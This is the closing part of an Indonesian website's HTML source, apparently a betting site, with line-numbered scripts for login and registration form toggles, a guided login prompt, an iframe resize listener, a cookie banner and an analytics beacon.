document.querySelectorAll("marquee").forEach(function(marquee){ 5949 5950 // let speed = 0.5; // smaller = slower 5951 // let position = marquee.offsetWidth; 5952 5953 // function animate(){ 5954 // position--; 5955 5956 // if(position < -marquee.scrollWidth){ 5957 // position = marquee.offsetWidth; 5958 // } 5959
5960 // marquee.style.transform = "translateX(" + position + "px)"; 5961 // requestAnimationFrame(animate); 5962 // } 5963 5964 // animate(); 5965 5966 // // pause on hover 5967 // marquee.addEventListener("mouseenter", function(){ 5968 // speed = 0; 5969 // }); 5970 5971 // marquee.addEventListener("mouseleave", function(){ 5972 // speed = 0.5; 5973 // }); 5974 5975 // }); 5976 5977 5978 }); 5979 </script>
5979 5980 5981
5981<script> 5982 if(document.getElementById("promo")) { 5983 var myModal = new bootstrap.Modal(document.getElementById("promo"), {}); 5984 window.onload = () => { 5985 myModal.show(); 5986 } 5987 } 5988 5989 var mobileurl = 'm/'; 5990 5991 5992 5993 var showIDs = []; 5994 5995 function showProducts(hoverID) { 5996 while(showIDs.length > 0) document.getElementById(showIDs.pop()).style.display = "none"; 5997 5998 // document.getElementById('hover').classList.add("hover-show"); 5999 document.getElementById('hover').style.transitionDelay = "0s"; 6000 document.getElementById('hover').style.visibility = "visible"; 6001 document.getElementById('hover').style.opacity = "1"; 6002 document.getElementById(hoverID).style.display = "flex"; 6003 6004 showIDs.push(hoverID); 6005 6006 } 6007 6008 function hideProducts(hoverID) { 6009 // document.getElementById('hover').classList.remove("hover-show"); 6010 document.getElementById('hover').style.visibility = "hidden"; 6011 document.getElementById('hover').style.opacity = "0"; 6012 document.getElementById('hover').style.transitionDelay = "1s"; 6013 6014 } 6015 6016 var mobileDaftarForm = document.getElementById('mobile-daftar-form'); 6017 var marquee = document.getElementById('marquee'); 6018 var mobileChangePasswordForm = document.getElementById('mobile-changepassword-form'); 6019 var mobileLoginBox = document.getElementById('mobilelogin'); 6020 6021 function closeContent() { 6022 $('#main-content').html(""); 6023 } 6024 6025 6026 function openDaftar() { 6027 closeContent(); 6028 6029 if (mobileLoginBox) mobileLoginBox.style.display = "none"; 6030 if (mobileChangePasswordForm) mobileChangePasswordForm.style.display = "none"; 6031 6032 mobileDaftarForm.style.display = "block"; 6033 mobileDaftarForm.scrollIntoView(); 6034 } 6035 6036 function closeDaftar() { 6037 mobileDaftarForm.style.display = "none"; 6038 marquee.scrollIntoView(); 6039 } 6040 6041 6042 function showProvider(type) { 6043 $('#main-content').html("<div style='padding: 24px'><img src=\"/images/loading.gif\" width=\"36px\"><div>"); 6044 $('#main-content').load("/new-showprovider.php?type=" + type); 6045 } 6046 6047 function toggleInformasi(item) { 6048 page(item); 6049 } 6050 6051 function showInformasi(item) { 6052 document.getElementById('modal-wrapper').style.display='block'; 6053 toggleInformasi(item); 6054 } 6055 6056 function openChangePasswordMobile() { 6057 closeContent(); 6058 6059 if (mobileLoginBox) mobileLoginBox.style.display = "none"; 6060 if (mobileDaftarForm) mobileDaftarForm.style.display = "none"; 6061 6062 if (mobileChangePasswordForm) { 6063 mobileChangePasswordForm.style.display = "block"; 6064 mobileChangePasswordForm.scrollIntoView(); 6065 } 6066 } 6067 6068 function closeChangePasswordMobile() { 6069 if (mobileChangePasswordForm) mobileChangePasswordForm.style.display = "none"; 6070 if (mobileDaftarForm) mobileDaftarForm.style.display = "none"; 6071 if (mobileLoginBox) mobileLoginBox.style.display = "block"; 6072 6073 marquee.scrollIntoView(); 6074 } 6075 6076 6077 6078 6079 </script>
6079 6080
6080<script src="/js/old/new2-webduo35.js?v=1790436651"></script>
6080 6081 6082
6082<script> 6083 function scrollToLoginForm(launchType, matchId) { 6084 sessionStorage.setItem('launch', launchType); 6085 if (matchId) sessionStorage.setItem('sbo_matchId', matchId); 6086 else sessionStorage.removeItem('sbo_matchId'); 6087 window.scrollTo({ top: 0, behavior: 'smooth' }); 6088 setTimeout(function() { 6089 var isMobile = window.innerWidth <= 1000; 6090 var loginSelector = isMobile 6091 ? '#mobilelogin input[name="username"]' 6092 : '#desktoplogin form'; 6093 var el = document.querySelector(loginSelector); 6094 if (!el) return; 6095 var usernameEl = document.querySelector(isMobile ? '#mobilelogin input[name="username"]' : '#desktoplogin input[name="username"]'); 6096 if (usernameEl && !isMobile) usernameEl.focus(); 6097 if (usernameEl && isMobile) usernameEl.scrollIntoView({ behavior: 'instant', block: 'center' }); 6098 const driver = window.driver.js.driver({ 6099 popoverClass: 'driverjs-theme', 6100 showProgress: false, 6101 showButtons: [], 6102 overlayOpacity: 0.3, 6103 steps: [ 6104 { 6105 element: loginSelector, 6106 popover: { 6107 title: 'Harap Login', 6108 description: 'Silakan masukkan username Anda', 6109 side: 'bottom', 6110 align: 'start', 6111 showButtons: [], 6112 nextBtnText: '', 6113 prevBtnText: '', 6114 doneBtnText: '' 6115 } 6116 } 6117 ], 6118 onDestroyStarted: () => driver.destroy(), 6119 }); 6120 driver.drive(); 6121 if (usernameEl) { 6122 function destroyDriver() { 6123 driver.destroy(); 6124 window.scrollTo({ top: 0 }); 6125 usernameEl.removeEventListener('input', destroyDriver); 6126 usernameEl.removeEventListener('click', destroyDriver); 6127 usernameEl.removeEventListener('focus', destroyDriver); 6128 } 6129 usernameEl.addEventListener('input', destroyDriver, { once: true }); 6130 usernameEl.addEventListener('click', destroyDriver, { once: true }); 6131 usernameEl.addEventListener('focus', destroyDriver, { once: true }); 6132 } 6133 }, 500); 6134 } 6135 </script>
6135 6136
6136<script> 6137 window.addEventListener("message", function(e) { 6138 if (e.origin !== "https://fkupon.com") return; 6139 if (e.data && e.data.action === "resize" && e.data.height) { 6140 var iframes = document.querySelectorAll(".iframe-kupon"); 6141 iframes.forEach(function(iframe) { 6142 iframe.style.height = Math.max(100, e.data.height - 16) + "px"; 6143 }); 6144 } 6145 }); 6146 </script>
6146 6147 6148 6149 <!-- POP UP COOKIES --> 6150 6151<style> 6152 6153 6154 .kebijakan-privasi, .kebijakan-cookies { 6155 color: white; 6156 text-decoration: underline; 6157 } 6158 6159 6160</style> 6161 6162 6163<div id="boxprivacy" style="position: fixed;left: 0;bottom: 0;width: 100%; background-color: #000; box-shadow:rgba(0,0,0,1) 0px 0px 10px 0px; opacity: 0.85; z-index: 2147483640; color: #d0c074"> 6164 <div style="margin:0px; padding: 15px; padding-right: 60px; border: 1px solid #999; font-size: 1rem"> 6165 <div> 6166 Kami menggunakan cookies untuk mengoptimalkan navigasi, fitur serta konten yang lebih Relevan. Untuk informasi lengkap tentang cookies silahkan lihat <a href="javascript:showInformasi('cookies')" class="kebijakan-cookies">Persetujuan Cookies</a>. Dengan menggunakan situs ini, Anda menyetujui penggunaan cookies serta data pribadi sesuai <a href="javascript:showInformasi('privasi')" class="kebijakan-privasi">Kebijakan Privasi</a>. </div> 6167 </div> 6168 <div> 6169 <div onclick="document.getElementById('boxprivacy').style.display='none'" class="closebox" title="Close Box" style="margin-right: 10px;">×</div> 6170 </div> 6171</div>
6172<script> 6173 $( "#boxprivacy" ).blur(function() { 6174 alert( "Handler for .blur() called." ); 6175}); 6176</script>
6176 6177 6178 6179
6179<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v4bc70e2c01a94c73b74392e4234840661791215815920" integrity="sha512-L0ha0OXavK/8okipN9F8BtP84dg9DUhPERbBXzwI6dgTA55d2+yweo3pn5CSFYs45/r8md2+xvUPtTdvTNRfjA==" data-cf-beacon='{"version":"2024.11.0","token":"28870ee054c84bb6a9fea943e50ff6c5","r":1,"spa":2}' crossorigin="anonymous"></script>
6179 6180</body> 6181</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.